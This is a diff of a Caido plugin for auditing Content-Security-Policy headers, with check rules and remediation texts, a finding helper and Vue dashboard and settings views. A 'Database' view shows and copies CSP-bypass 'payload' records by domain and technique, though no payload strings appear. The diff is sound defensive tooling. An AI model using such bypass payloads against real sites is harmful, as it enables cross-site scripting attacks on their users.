createUniqueId } from "../utils"; + +export function emitFinding( + checkId: CheckId, + directive: string, + value: string, + requestId: string, + descriptionOverride?: string, +): PolicyFinding { + const def = CHECK_REGISTRY[checkId]; + return { + id: createUniqueId(), + checkId, + severity: def.severity, + directive, + value, + description: descriptionOverride ?? def.description, + remediation: def.remediation, + cweId: def.cweId, + requestId, + }; +} + +export function isCheckEnabled( + checkId: string, + enabledChecks?: Record<string, boolean>, +): boolean { + return enabledChecks === undefined || (enabledChecks[checkId] ?? true); +} diff --git a/packages/backend/src/utils/index.ts b/packages/backend/src/utils/index.ts new file mode 100644 index 0000000..d7da738 --- /dev/null +++ b/packages/backend/src/utils/index.ts @@ -0,0 +1,6 @@ +export { + createUniqueId, + isUserContentHost, + isVulnerableJsHost, + stripDomainPrefix, +} from "./domainMatching"; diff --git a/packages/backend/src/vulnerability-rules.ts b/packages/backend/src/vulnerability-rules.ts deleted file mode 100644 index c5f2699..0000000 --- a/packages/backend/src/vulnerability-rules.ts +++ /dev/null @@ -1,260 +0,0 @@ -import type { Severity, VulnerabilityType } from "./types"; - -export interface VulnerabilityRule { - type: VulnerabilityType; - severity: Severity; - title: string; - description: string; - remediation: string; - cweId?: number; -} - -export const VULNERABILITY_RULES: Record<VulnerabilityType, VulnerabilityRule> = - { - "script-wildcard": { - type: "script-wildcard", - severity: "high", - title: "Script Wildcard Usage", - description: - "The CSP policy allows scripts from any domain using wildcard (*). This removes XSS protection and allows attackers to load malicious scripts from any external domain.", - remediation: - "Replace the wildcard (*) with specific trusted domains. Use 'self' for same-origin scripts or list specific trusted CDNs.", - cweId: 79, - }, - - "script-unsafe-inline": { - type: "script-unsafe-inline", - severity: "high", - title: "Unsafe Inline Scripts Allowed", - description: - "The CSP policy allows inline JavaScript execution using 'unsafe-inline'. This removes XSS protection by allowing inline script tags and event handlers.", - remediation: - "Remove 'unsafe-inline' and use nonces ('nonce-<value>') or hashes ('sha256-<hash>') for legitimate inline scripts.", - cweId: 79, - }, - - "script-unsafe-eval": { - type: "script-unsafe-eval", - severity: "high", - title: "Unsafe Eval Allowed", - description: - "The CSP policy allows dynamic code execution using 'unsafe-eval'. This enables DOM-based XSS attacks through eval(), Function() constructor, and similar methods.", - remediation: - "Remove 'unsafe-eval' and refactor code to avoid dynamic script evaluation. Use safer alternatives like JSON.parse() instead of eval().", - cweId: 79, - }, - - "style-wildcard": { - type: "style-wildcard", - severity: "low", - title: "Style Wildcard Usage", - description: - "The CSP policy allows stylesheets from any domain using wildcard (*). While less dangerous than script wildcards, this can still be exploited for clickjacking or data exfiltration.", - remediation: - "Replace the wildcard (*) with specific trusted domains or 'self' for same-origin stylesheets.", - cweId: 79, - }, - - "style-unsafe-inline": { - type: "style-unsafe-inline", - severity: "medium", - title: "Unsafe Inline Styles Allowed", - description: - "The CSP policy allows inline CSS using 'unsafe-inline'. This can be exploited for clickjacking attacks and data exfiltration through CSS.", - remediation: - "Remove 'unsafe-inline' and use nonces or hashes for legitimate inline styles, or move styles to external stylesheets.", - cweId: 79, - }, - - "user-content-host": { - type: "user-content-host", - severity: "high", - title: "User Content Host Allowed", - description: - "The CSP policy allows loading resources from a domain that hosts user-uploaded content. Attackers can upload malicious scripts to these platforms.", - remediation: - "Remove user content domains from the CSP policy. If required, implement additional security measures like SRI (Subresource Integrity).", - cweId: 79, - }, - - "vulnerable-js-host": { - type: "vulnerable-js-host", - severity: "high", - title: "Vulnerable JavaScript Library Host", - description: - "The CSP policy allows loading resources from a domain known to host vulnerable JavaScript libraries that can be exploited by attackers.", - remediation: - "Remove the vulnerable host from the CSP policy or ensure only safe, up-to-date library versions are used.", - cweId: 79, - }, - - "deprecated-header": { - type: "deprecated-header", - severity: "medium", - title: "Deprecated CSP Header", - description: - "The application uses a deprecated CSP header name. Modern browsers may not properly enforce these policies.", - remediation: - "Replace deprecated headers (X-Content-Security-Policy, X-WebKit-CSP) with the standard Content-Security-Policy header.", - }, - - "wildcard-limited": { - type: "wildcard-limited", - severity: "info", - title: "Limited Wildcard Usage", - description: - "The CSP policy uses wildcards in directives with limited security impact. While not immediately dangerous, this reduces the specificity of the policy.", - remediation: - "Consider replacing wildcards with specific trusted domains for better security posture.", - }, - - // Enhanced modern vulnerabilities - "script-data-uri": { - type: "script-data-uri", - severity: "high", - title: "Data URI Scripts Allowed", - description: - "The CSP policy allows base64-encoded JavaScript execution via data: URIs, which can bypass XSS protection.", - remediation: - "Remove 'data:' from script-src. Use proper script files or nonces/hashes for inline scripts.", - cweId: 79, - }, - - "object-wildcard": { - type: "object-wildcard", - severity: "high", - title: "Unrestricted Object/Plugin Sources", - description: - "The CSP policy allows loading objects/plugins from any source, creating potential for code execution.", - remediation: "Set object-src to 'none' or specify trusted sources only.", - cweId: 79, - }, - - "jsonp-bypass-risk": { - type: "jsonp-bypass-risk", - severity: "high", - title: "JSONP Callback Bypass Risk", - description: - "The CSP policy allows domains that support JSONP callbacks, which can bypass CSP protection.", - remediation: - "Remove JSONP-enabled hosts or use fetch() with proper CORS instead.", - cweId: 79, - }, - - "angularjs-bypass": { - type: "angularjs-bypass", - severity: "high", - title: "AngularJS Template Injection Risk", - description: - "The CSP policy allows AngularJS versions that permit template injection bypasses.", - remediation: "Upgrade to Angular 2+ or remove AngularJS entirely.", - cweId: 79, - }, - - "missing-trusted-types": { - type: "missing-trusted-types", - severity: "medium", - title: "Missing Trusted Types Protection", - description: - "Trusted Types policy not configured - DOM XSS protection unavailable.", - remediation: - "Add 'trusted-types' directive to enable DOM XSS protection.", - }, - - "missing-require-trusted-types": { - type: "missing-require-trusted-types", - severity: "medium", - title: "Trusted Types Not Required", - description: "DOM manipulation not restricted to Trusted Types.", - remediation: "Add 'require-trusted-types-for \"script\"' directive.", - }, - - "missing-essential-directive": { - type: "missing-essential-directive", - severity: "medium", - title: "Missing Essential Directive", - description: - "A critical security directive is not defined in the CSP policy.", - remediation: - "Add the missing essential directive with appropriate values.", - }, - - "permissive-base-uri": { - type: "permissive-base-uri", - severity: "medium", - title: "Permissive Base URI Policy", - description: "Unrestricted base URI can enable injection attacks.", - remediation: "Set base-uri to 'self' or specific trusted origins.", - }, - - "nonce-unsafe-inline-conflict": { - type: "nonce-unsafe-inline-conflict", - severity: "medium", - title: "Nonce Security Weakened", - description: - "Nonce protection is bypassed when 'unsafe-inline' is also present.", - remediation: - "Remove 'unsafe-inline' when using nonces for better security.", - }, - - // Modern threat categories - "ai-ml-host": { - type: "ai-ml-host", - severity: "medium", - title: "AI/ML Service Integration Risk", - description: - "The CSP policy allows AI/ML service endpoints that could be exploited.", - remediation: - "Review necessity of AI/ML service integration and implement additional security controls.", - }, - - "web3-host": { - type: "web3-host", - severity: "medium", - title: "Web3/Crypto Integration Risk", - description: - "The CSP policy allows Web3/cryptocurrency service endpoints that could pose security risks.", - remediation: - "Review necessity of Web3 integration and implement additional security controls.", - }, - - "cdn-supply-chain": { - type: "cdn-supply-chain", - severity: "medium", - title: "CDN Supply Chain Risk", - description: - "The CSP policy allows CDN endpoints that have been compromised in supply chain attacks.", - remediation: - "Review necessity of CDN integration and implement additional security controls like SRI.", - }, - - "supply-chain-risk": { - type: "supply-chain-risk", - severity: "medium", - title: "Supply Chain Risk", - description: - "The CSP policy allows endpoints that pose supply chain security risks.", - remediation: - "Review necessity of integration and implement additional security controls.", - }, - - "privacy-tracking-risk": { - type: "privacy-tracking-risk", - severity: "low", - title: "Privacy/Tracking Risk", - description: - "The CSP policy allows domains associated with user tracking or privacy concerns.", - remediation: - "Review necessity of tracking integration and consider privacy implications.", - }, - - "gaming-metaverse-risk": { - type: "gaming-metaverse-risk", - severity: "low", - title: "Gaming/Metaverse Integration Risk", - description: - "The CSP policy allows gaming or metaverse service endpoints.", - remediation: - "Review necessity of gaming/metaverse integration and implement appropriate security controls.", - }, - }; diff --git a/packages/backend/tsconfig.json b/packages/backend/tsconfig.json index 58f1c0a..5311930 100644 --- a/packages/backend/tsconfig.json +++ b/packages/backend/tsconfig.json @@ -1,7 +1,7 @@ { "extends": "../../tsconfig.json", "compilerOptions": { - "types": ["@caido/sdk-backend", "node"] + "types": ["@caido/sdk-backend", "vitest/globals"] }, "include": ["./src/**/*.ts"] } diff --git a/packages/frontend/package.json b/packages/frontend/package.json index 2551857..e7fd408 100644 --- a/packages/frontend/package.json +++ b/packages/frontend/package.json @@ -1,20 +1,23 @@ { "name": "frontend", "version": "0.0.0", + "private": true, "type": "module", "scripts": { "typecheck": "vue-tsc --noEmit" }, "dependencies": { "@caido/primevue": "0.3.3", + "pinia": "3.0.4", "primevue": "4.1.0", - "vue": "3.5.26" + "shared": "workspace:*", + "vue": "3.5.22" }, "devDependencies": { - "@caido/sdk-backend": "^0.54.0", - "@caido/sdk-frontend": "^0.54.0", - "@codemirror/view": "6.39.8", + "@caido/sdk-backend": "0.55.3", + "@caido/sdk-frontend": "0.55.3", + "@codemirror/view": "6.38.5", "backend": "workspace:*", - "vue-tsc": "2.2.12" + "vue-tsc": "3.1.1" } } diff --git a/packages/frontend/src/components/Configuration/Container.vue b/packages/frontend/src/components/Configuration/Container.vue new file mode 100644 index 0000000..76f9819 --- /dev/null +++ b/packages/frontend/src/components/Configuration/Container.vue @@ -0,0 +1,206 @@ +<script setup lang="ts"> +import { storeToRefs } from "pinia"; +import Button from "primevue/button"; +import Card from "primevue/card"; +import Column from "primevue/column"; +import DataTable from "primevue/datatable"; +import IconField from "primevue/iconfield"; +import InputIcon from "primevue/inputicon"; +import InputText from "primevue/inputtext"; +import ToggleSwitch from "primevue/toggleswitch"; +import type { ConfigurableCheckId, SeverityLevel } from "shared"; +import { computed, ref } from "vue"; + +import { useSettingsService } from "@/services/settings"; +import { getSeverityBadgeStyle } from "@/utils/severity"; + +const settingsService = useSettingsService(); +const { checkSettings } = storeToRefs(settingsService); +const search = ref(""); + +type CheckRow = { + id: string; + name: string; + description: string; + category: string; + severity: SeverityLevel; + enabled: boolean; +}; + +const rows = computed((): CheckRow[] => { + const items: CheckRow[] = []; + for (const [id, check] of Object.entries(checkSettings.value)) { + items.push({ + id, + name: check.name, + description: check.description, + category: check.category, + severity: check.severity, + enabled: check.enabled, + }); + } + return items; +}); + +const filteredRows = computed(() => { + if (search.value.trim() === "") return rows.value; + const q = search.value.toLowerCase(); + return rows.value.filter( + (row) => + row.name.toLowerCase().includes(q) || + row.id.toLowerCase().includes(q) || + row.description.toLowerCase().includes(q) || + row.category.toLowerCase().includes(q), + ); +}); + +const enabledCount = computed( + () => rows.value.filter((row) => row.enabled).length, +); + +const onToggle = (checkId: string, enabled: boolean) => { + void settingsService.updateSingleCheck( + checkId as ConfigurableCheckId, + enabled, + ); +}; + +function r(data: unknown): CheckRow { + return data as CheckRow; +} +</script> + +<template> + <div class="h-full flex flex-col min-h-0"> + <Card + class="h-full" + :pt="{ + root: { style: 'display: flex; flex-direction: column; height: 100%;' }, + body: { class: 'flex-1 p-0 flex flex-col min-h-0' }, + content: { class: 'flex-1 flex flex-col overflow-hidden min-h-0' }, + }" + > + <template #content> + <div class="flex justify-between items-center p-4 gap-4"> + <div class="flex-1"> + <h3 class="text-lg font-semibold">Scan Configuration</h3> + <p class="text-sm text-surface-300"> + {{ enabledCount }}/{{ rows.length }} vulnerability checks enabled + </p> + </div> + <IconField> + <InputIcon class="fas fa-magnifying-glass" /> + <InputText + v-model="search" + placeholder="Search checks" + class="w-full" + /> + </IconField> + </div> + + <div class="flex-1 min-h-0"> + <DataTable + :value="filteredRows" + scrollable + striped-rows + scroll-height="flex" + size="small" + removable-sort + data-key="id" + > + <Column field="name" sortable style="min-width: 12rem"> + <template #header><span class="text-xs">Name</span></template> + <template #body="slotProps"> + <div> + <span class="text-sm font-medium">{{ + r(slotProps.data).name + }}</span> + <span class="text-xs text-surface-500 ml-2">{{ + r(slotProps.data).id + }}</span> + </div> + </template> + </Column> + <Column field="description" style="min-width: 14rem"> + <template #header + ><span class="text-xs">Description</span></template + > + <template #body="slotProps"> + <span class="text-xs text-surface-400">{{ + r(slotProps.data).description + }}</span> + </template> + </Column> + <Column field="category" sortable style="width: 10rem"> + <template #header><span class="text-xs">Category</span></template> + <template #body="slotProps"> + <span class="text-xs text-surface-400">{{ + r(slotProps.data).category + }}</span> + </template> + </Column> + <Column field="severity" sortable style="width: 7rem"> + <template #header><span class="text-xs">Severity</span></template> + <template #body="slotProps"> + <span + class="inline-flex px-2 rounded-md text-xs font-mono border" + :class="getSeverityBadgeStyle(r(slotProps.data).severity)" + > + {{ r(slotProps.data).severity }} + </span> + </template> + </Column> + <Column style="width: 5rem" class="text-center"> + <template #header><span class="text-xs">Enabled</span></template> + <template #body="slotProps"> + <ToggleSwitch + :model-value="r(slotProps.data).enabled" + @update:model-value="onToggle(r(slotProps.data).id, $event)" + /> + </template> + </Column> + + <template #footer> + <div class="flex items-center gap-2"> + <Button + label="Aggressive" + size="small" + severity="info" + outlined + @mousedown="settingsService.setAllChecks(true)" + /> + <Button + label="Recommended" + size="small" + severity="info" + outlined + @mousedown="settingsService.setRecommendedMode()" + /> + <Button + label="Light" + size="small" + severity="info" + outlined + @mousedown="settingsService.setLightMode()" + /> + <Button + label="Disable All" + size="small" + severity="secondary" + outlined + @mousedown="settingsService.setAllChecks(false)" + /> + </div> + </template> + + <template #empty> + <div class="text-center text-surface-500 py-8 text-sm"> + No checks match your search + </div> + </template> + </DataTable> + </div> + </template> + </Card> + </div> +</template> diff --git a/packages/frontend/src/components/Configuration/index.ts b/packages/frontend/src/components/Configuration/index.ts new file mode 100644 index 0000000..a429214 --- /dev/null +++ b/packages/frontend/src/components/Configuration/index.ts @@ -0,0 +1 @@ +export { default as ConfigurationPage } from "./Container.vue"; diff --git a/packages/frontend/src/components/Dashboard/AnalysesTable/Container.vue b/packages/frontend/src/components/Dashboard/AnalysesTable/Container.vue new file mode 100644 index 0000000..0b8dc4d --- /dev/null +++ b/packages/frontend/src/components/Dashboard/AnalysesTable/Container.vue @@ -0,0 +1,113 @@ +<script setup lang="ts"> +import Column from "primevue/column"; +import DataTable from "primevue/datatable"; +import type { AnalysisResult } from "shared"; +import { computed, ref } from "vue"; + +import ExpandedRow from "./ExpandedRow.vue"; + +import { extractHostAndPath, formatDate } from "@/utils/formatting"; + +const props = defineProps<{ analyses: AnalysisResult[] }>(); +const expandedRows = ref<Record<string, boolean>>({}); + +type TableRow = AnalysisResult & { + host: string; + path: string; + findingsCount: number; + policiesCount: number; +}; + +const rows = computed((): TableRow[] => + props.analyses.map((a) => { + const { host, path } = extractHostAndPath(a); + return { + ...a, + host, + path, + findingsCount: a.findings.length, + policiesCount: a.policies.length, + }; + }), +); + +function r(data: unknown): TableRow { + return data as TableRow; +} +</script> + +<template> + <DataTable + v-model:expanded-rows="expandedRows" + :value="rows" + scrollable + striped-rows + scroll-height="flex" + size="small" + expandable-rows + removable-sort + data-key="requestId" + table-style="table-layout: fixed; width: 100%" + class="h-full" + > + <Column :expander="true" style="width: 3%" /> + <Column field="requestId" sortable style="width: 7%"> + <template #header><span class="text-xs">ID</span></template> + <template #body="slotProps"> + <span class="text-xs text-surface-400">{{ + r(slotProps.data).requestId + }}</span> + </template> + </Column> + <Column field="analyzedAt" sortable style="width: 15%"> + <template #header><span class="text-xs">Timestamp</span></template> + <template #body="slotProps"> + <span class="text-xs text-surface-400">{{ + formatDate(r(slotProps.data).analyzedAt) + }}</span> + </template> + </Column> + <Column field="host" sortable style="width: 18%"> + <template #header><span class="text-xs">Host</span></template> + <template #body="slotProps"> + <span class="text-xs font-medium text-surface-200 block truncate">{{ + r(slotProps.data).host + }}</span> + </template> + </Column> + <Column field="path" sortable style="width: 37%"> + <template #header><span class="text-xs">Path</span></template> + <template #body="slotProps"> + <span class="text-xs text-surface-400 block truncate">{{ + r(slotProps.data).path + }}</span> + </template> + </Column> + <Column field="findingsCount" sortable style="width: 10%"> + <template #header><span class="text-xs">Findings</span></template> + <template #body="slotProps"> + <span class="text-xs font-medium">{{ + r(slotProps.data).findingsCount + }}</span> + </template> + </Column> + <Column field="policiesCount" sortable style="width: 10%"> + <template #header><span class="text-xs">Policies</span></template> + <template #body="slotProps"> + <span class="text-xs font-medium">{{ + r(slotProps.data).policiesCount + }}</span> + </template> + </Column> + + <template #expansion="slotProps"> + <ExpandedRow :analysis="r(slotProps.data)" /> + </template> + + <template #empty> + <div class="text-center text-surface-500 py-8 text-sm"> + No analyses found + </div> + </template> + </DataTable> +</template> diff --git a/packages/frontend/src/components/Dashboard/AnalysesTable/ExpandedRow.vue b/packages/frontend/src/components/Dashboard/AnalysesTable/ExpandedRow.vue new file mode 100644 index 0000000..8acf394 --- /dev/null +++ b/packages/frontend/src/components/Dashboard/AnalysesTable/ExpandedRow.vue @@ -0,0 +1,46 @@ +<script setup lang="ts"> +import type { AnalysisResult, PolicyFinding } from "shared"; + +import PolicyCard from "./PolicyCard.vue"; +import VulnerabilityCard from "./VulnerabilityCard.vue"; + +import { useVulnerabilityModal } from "@/composables/useVulnerabilityModal"; + +const props = defineProps<{ analysis: AnalysisResult }>(); +const { openModal } = useVulnerabilityModal(); + +const onFindingClick = (finding: PolicyFinding) => { + openModal(finding, props.analysis); +}; +</script> + +<template> + <div class="p-4 space-y-4"> + <div v-if="props.analysis.findings.length > 0"> + <h4 class="text-sm font-semibold text-surface-300 mb-2"> + Findings ({{ props.analysis.findings.length }}) + </h4> + <div class="flex flex-col gap-2"> + <VulnerabilityCard + v-for="finding in props.analysis.findings" + :key="finding.id" + :finding="finding" + @click="onFindingClick(finding)" + /> + </div> + </div> + + <div v-if="props.analysis.policies.length > 0"> + <h4 class="text-sm font-semibold text-surface-300 mb-2"> + Policies ({{ props.analysis.policies.length }}) + </h4> + <div class="flex flex-col gap-2"> + <PolicyCard + v-for="policy in props.analysis.policies" + :key="policy.id" + :policy="policy" + /> + </div> + </div> + </div> +</template> diff --git a/packages/frontend/src/components/Dashboard/AnalysesTable/PolicyCard.vue b/packages/frontend/src/components/Dashboard/AnalysesTable/PolicyCard.vue new file mode 100644 index 0000000..3b4019d --- /dev/null +++ b/packages/frontend/src/components/Dashboard/AnalysesTable/PolicyCard.vue @@ -0,0 +1,50 @@ +<script setup lang="ts"> +import Badge from "primevue/badge"; +import Button from "primevue/button"; +import type { ParsedPolicy } from "shared"; + +import { useClipboard } from "@/composables/useClipboard"; + +const props = defineProps<{ policy: ParsedPolicy }>(); +const { copyToClipboard } = useClipboard(); +</script> + +<template> + <div class="border border-surface-700 rounded-lg p-3 bg-surface-800"> + <div class="flex items-center justify-between mb-2"> + <span class="text-sm font-medium text-surface-200">{{ + props.policy.headerName + }}</span> + <div class="flex gap-2 items-center"> + <Button + icon="fas fa-copy" + size="small" + severity="secondary" + text + @mousedown=" + copyToClipboard(props.policy.headerValue, 'Policy copied') + " + /> + <Badge + v-if="props.policy.isReportOnly" + value="Report Only" + severity="info" + class="text-xs" + /> + <Badge + v-if="props.policy.isDeprecated" + value="Deprecated" + severity="warning" + class="text-xs" + /> + </div> + </div> + <div class="bg-surface-900 p-2 rounded"> + <code + class="text-xs font-mono text-surface-300 break-all whitespace-pre-wrap" + > + {{ props.policy.headerValue }} + </code> + </div> + </div> +</template> diff --git a/packages/frontend/src/components/Dashboard/AnalysesTable/VulnerabilityCard.vue b/packages/frontend/src/components/Dashboard/AnalysesTable/VulnerabilityCard.vue new file mode 100644 index 0000000..ba010f0 --- /dev/null +++ b/packages/frontend/src/components/Dashboard/AnalysesTable/VulnerabilityCard.vue @@ -0,0 +1,36 @@ +<script setup lang="ts"> +import type { PolicyFinding } from "shared"; + +import { getSeverityBadgeStyle } from "@/utils/severity"; + +const props = defineProps<{ finding: PolicyFinding }>(); +const emit = defineEmits<{ (e: "click", finding: PolicyFinding): void }>(); +</script> + +<template> + <div + class="border border-surface-700 rounded p-3 cursor-pointer hover:border-surface-500 transition-colors" + @click="emit('click', props.finding)" + > + <div class="flex items-start justify-between mb-1.5"> + <span class="text-xs font-semibold text-surface-200">{{ + props.finding.checkId + }}</span> + <span + class="px-2 py-0.5 rounded text-[10px] font-semibold uppercase shrink-0 border" + :class="getSeverityBadgeStyle(props.finding.severity)" + > + {{ props.finding.severity }} + </span> + </div> + <p class="text-[11px] text-surface-400 mb-1.5 leading-relaxed"> + {{ props.finding.description }} + </p> + <div + v-if="props.finding.remediation" + class="text-[11px] text-surface-400 bg-surface-900 px-2 py-1.5 rounded border-l-2 border-blue-500" + > + {{ props.finding.remediation }} + </div> + </div> +</template> diff --git a/packages/frontend/src/components/Dashboard/AnalysesTable/index.ts b/packages/frontend/src/components/Dashboard/AnalysesTable/index.ts new file mode 100644 index 0000000..a92d09a --- /dev/null +++ b/packages/frontend/src/components/Dashboard/AnalysesTable/index.ts @@ -0,0 +1 @@ +export { default as AnalysesTable } from "./Container.vue"; diff --git a/packages/frontend/src/components/Dashboard/Container.vue b/packages/frontend/src/components/Dashboard/Container.vue new file mode 100644 index 0000000..93eb30d --- /dev/null +++ b/packages/frontend/src/components/Dashboard/Container.vue @@ -0,0 +1,145 @@ +<script setup lang="ts"> +import { storeToRefs } from "pinia"; +import Button from "primevue/button"; +import Card from "primevue/card"; +import InputSwitch from "primevue/inputswitch"; +import SplitButton from "primevue/splitbutton"; +import type { SeverityLevel } from "shared"; +import { computed, ref } from "vue"; + +import { AnalysesTable } from "./AnalysesTable"; +import { GettingStarted } from "./GettingStarted"; +import { StatsBar } from "./StatsBar"; + +import { useExportDownload } from "@/composables/useExportDownload"; +import { useAnalysesService } from "@/services/analyses"; +import { useSettingsService } from "@/services/settings"; +import { useAnalysesStore } from "@/stores/analyses"; + +const analysesStore = useAnalysesStore(); +const analysesService = useAnalysesService(); +const settingsService = useSettingsService(); +const { scopeEnabled, findingsEnabled } = storeToRefs(settingsService); +const { downloadAsJson, downloadAsCsv } = useExportDownload(); +const refreshing = ref(false); + +const state = computed(() => analysesStore.state); + +const analyses = computed(() => { + const s = state.value; + return s.type === "Success" ? s.analyses : []; +}); + +const summary = computed(() => { + const a = analyses.value; + const allFindings = a.flatMap((x) => x.findings); + const severityCounts: Record<SeverityLevel, number> = { + high: 0, + medium: 0, + low: 0, + info: 0, + }; + const checkIdCounts: Record<string, number> = {}; + for (const f of allFindings) { + severityCounts[f.severity]++; + checkIdCounts[f.checkId] = (checkIdCounts[f.checkId] ?? 0) + 1; + } + const lastAnalyzedAt = a.reduce<Date | undefined>((latest, x) => { + if (latest === undefined) return x.analyzedAt; + return x.analyzedAt > latest ? x.analyzedAt : latest; + }, undefined); + return { + totalAnalyses: a.length, + totalFindings: allFindings.length, + severityCounts, + checkIdCounts, + lastAnalyzedAt, + }; +}); + +const exportItems = [ + { label: "Export CSV", command: () => void downloadAsCsv() }, +]; + +const onRefresh = async () => { + refreshing.value = true; + try { + await analysesService.loadAnalyses(); + } finally { + refreshing.value = false; + } +}; +</script> + +<template> + <div class="h-full flex flex-col gap-1 min-h-0"> + <Card + class="shrink-0" + :pt="{ body: { class: 'p-0' }, content: { class: 'p-0' } }" + > + <template #content> + <div + class="flex items-center justify-between px-4 py-2 overflow-hidden" + > + <StatsBar :summary="summary" class="w-1/2" /> + <div class="flex items-center gap-3"> + <div class="flex items-center gap-1.5"> + <span class="text-xs text-surface-400">Scope</span> + <InputSwitch + :model-value="scopeEnabled" + @update:model-value="settingsService.updateScope($event)" + /> + </div> + <div class="flex items-center gap-1.5"> + <span class="text-xs text-surface-400">Findings</span> + <InputSwitch + :model-value="findingsEnabled" + @update:model-value="settingsService.updateFindings($event)" + /> + </div> + <Button + icon="fas fa-sync" + severity="secondary" + outlined + size="small" + :loading="refreshing" + @mousedown="onRefresh" + /> + <SplitButton + label="Export JSON" + icon="fas fa-download" + size="small" + :model="exportItems" + @click="downloadAsJson()" + /> + <Button + icon="fas fa-trash" + severity="danger" + outlined + size="small" + @mousedown="analysesService.clearCache()" + /> + </div> + </div> + </template> + </Card> + + <div class="flex-1 min-h-0"> + <AnalysesTable v-if="analyses.length > 0" :analyses="analyses" /> + <div + v-else-if="state.type === 'Error'" + class="h-full flex items-center justify-center flex-col gap-3 text-center" + > + <i class="fas fa-exclamation-triangle text-red-400 text-4xl" /> + <p class="text-surface-400 text-sm">Failed to load analyses</p> + </div> + <div + v-else-if="state.type === 'Loading'" + class="h-full flex items-center justify-center" + > + <span class="text-surface-400 text-sm">Loading analyses...</span> + </div> + <GettingStarted v-else /> + </div> + </div> +</template> diff --git a/packages/frontend/src/components/Dashboard/GettingStarted/Container.vue b/packages/frontend/src/components/Dashboard/GettingStarted/Container.vue new file mode 100644 index 0000000..927df4c --- /dev/null +++ b/packages/frontend/src/components/Dashboard/GettingStarted/Container.vue @@ -0,0 +1,16 @@ +<script setup lang="ts"></script> + +<template> + <div + class="h-full flex items-center justify-center flex-col gap-4 p-8 text-center" + > + <i class="fas fa-shield-alt text-surface-400 text-5xl" /> + <div class="flex flex-col gap-1"> + <h2 class="text-2xl font-semibold">No analyses yet</h2> + <p class="text-surface-400 max-w-sm"> + Browse to web applications with CSP headers and analyses will appear + here automatically. + </p> + </div> + </div> +</template> diff --git a/packages/frontend/src/components/Dashboard/GettingStarted/index.ts b/packages/frontend/src/components/Dashboard/GettingStarted/index.ts new file mode 100644 index 0000000..3686b07 --- /dev/null +++ b/packages/frontend/src/components/Dashboard/GettingStarted/index.ts @@ -0,0 +1 @@ +export { default as GettingStarted } from "./Container.vue"; diff --git a/packages/frontend/src/components/Dashboard/StatsBar/Container.vue b/packages/frontend/src/components/Dashboard/StatsBar/Container.vue new file mode 100644 index 0000000..b8a3a90 --- /dev/null +++ b/packages/frontend/src/components/Dashboard/StatsBar/Container.vue @@ -0,0 +1,40 @@ +<script setup lang="ts"> +import type { AnalysisSummary } from "shared"; + +const props = defineProps<{ summary: AnalysisSummary }>(); +</script> + +<template> + <div class="flex items-center justify-between text-xs"> + <div class="flex items-center gap-1"> + <span class="font-semibold text-blue-400">{{ + props.summary.totalAnalyses + }}</span> + <span class="text-surface-400">analyses</span> + </div> + <div class="flex items-center gap-1"> + <span class="font-semibold text-surface-200">{{ + props.summary.totalFindings + }}</span> + <span class="text-surface-400">findings</span> + </div> + <div class="flex items-center gap-1"> + <span class="font-semibold text-red-400">{{ + props.summary.severityCounts.high + }}</span> + <span class="text-surface-400">high</span> + </div> + <div class="flex items-center gap-1"> + <span class="font-semibold text-orange-400">{{ + props.summary.severityCounts.medium + }}</span> + <span class="text-surface-400">medium</span> + </div> + <div class="flex items-center gap-1"> + <span class="font-semibold text-yellow-400">{{ + props.summary.severityCounts.low + }}</span> + <span class="text-surface-400">low</span> + </div> + </div> +</template> diff --git a/packages/frontend/src/components/Dashboard/StatsBar/index.ts b/packages/frontend/src/components/Dashboard/StatsBar/index.ts new file mode 100644 index 0000000..13ff97a --- /dev/null +++ b/packages/frontend/src/components/Dashboard/StatsBar/index.ts @@ -0,0 +1 @@ +export { default as StatsBar } from "./Container.vue"; diff --git a/packages/frontend/src/components/Dashboard/index.ts b/packages/frontend/src/components/Dashboard/index.ts new file mode 100644 index 0000000..57d1db3 --- /dev/null +++ b/packages/frontend/src/components/Dashboard/index.ts @@ -0,0 +1 @@ +export { default as Dashboard } from "./Container.vue"; diff --git a/packages/frontend/src/components/Database/BypassEntry.vue b/packages/frontend/src/components/Database/BypassEntry.vue new file mode 100644 index 0000000..1e8833e --- /dev/null +++ b/packages/frontend/src/components/Database/BypassEntry.vue @@ -0,0 +1,44 @@ +<script setup lang="ts"> +import Button from "primevue/button"; +import Tag from "primevue/tag"; +import type { BypassRecord } from "shared"; + +import { useClipboard } from "@/composables/useClipboard"; +import { getTechniqueColor } from "@/utils/technique"; + +const props = defineProps<{ record: BypassRecord }>(); +const { copyToClipboard } = useClipboard(); +</script> + +<template> + <div + class="bg-surface-900 rounded p-2.5 cursor-pointer transition-colors border border-transparent hover:border-surface-600" + @click="copyToClipboard(props.record.code, 'Payload copied')" + > + <div class="flex items-center justify-between mb-1.5"> + <div class="flex items-center gap-2"> + <span class="text-xs font-mono text-blue-400">{{ + props.record.domain + }}</span> + <Tag + :value="props.record.technique" + :severity="getTechniqueColor(props.record.technique)" + class="!text-[10px] !px-1.5 !py-0" + /> + </div> + <Button + icon="fas fa-copy" + size="small" + severity="secondary" + text + class="!w-6 !h-6" + @click.stop="copyToClipboard(props.record.code, 'Payload copied')" + /> + </div> + <div + class="text-green-400 px-2 py-1 text-[11px] font-mono overflow-x-auto whitespace-nowrap" + > + {{ props.record.code }} + </div> + </div> +</template> diff --git a/packages/frontend/src/components/Database/Container.vue b/packages/frontend/src/components/Database/Container.vue new file mode 100644 index 0000000..a3f22ec --- /dev/null +++ b/packages/frontend/src/components/Database/Container.vue @@ -0,0 +1,50 @@ +<script setup lang="ts"> +import { storeToRefs } from "pinia"; +import { onMounted } from "vue"; + +import BypassEntry from "./BypassEntry.vue"; + +import { useBypassData } from "@/composables/useBypassData"; + +const bypassStore = useBypassData(); +const { loading, searchQuery, filteredRecords } = storeToRefs(bypassStore); + +onMounted(() => { + void bypassStore.loadRecords(); +}); +</script> + +<template> + <div class="h-full flex flex-col min-h-0"> + <div v-if="loading" class="flex-1 flex items-center justify-center"> + <span class="text-sm text-surface-400">Loading bypass records...</span> + </div> + + <div + v-else-if="filteredRecords.length > 0" + class="flex-1 min-h-0 overflow-auto p-2" + > + <div class="flex flex-col gap-1.5"> + <BypassEntry + v-for="record in filteredRecords" + :key="record.id" + :record="record" + /> + </div> + </div> + + <div + v-else + class="flex-1 flex items-center justify-center flex-col gap-3 text-center" + > + <i class="fas fa-magnifying-glass text-surface-500 text-4xl" /> + <p class="text-surface-400 text-sm"> + {{ + searchQuery.trim() !== "" + ? `No results for "${searchQuery}"` + : "No bypass records loaded" + }} + </p> + </div> + </div> +</template> diff 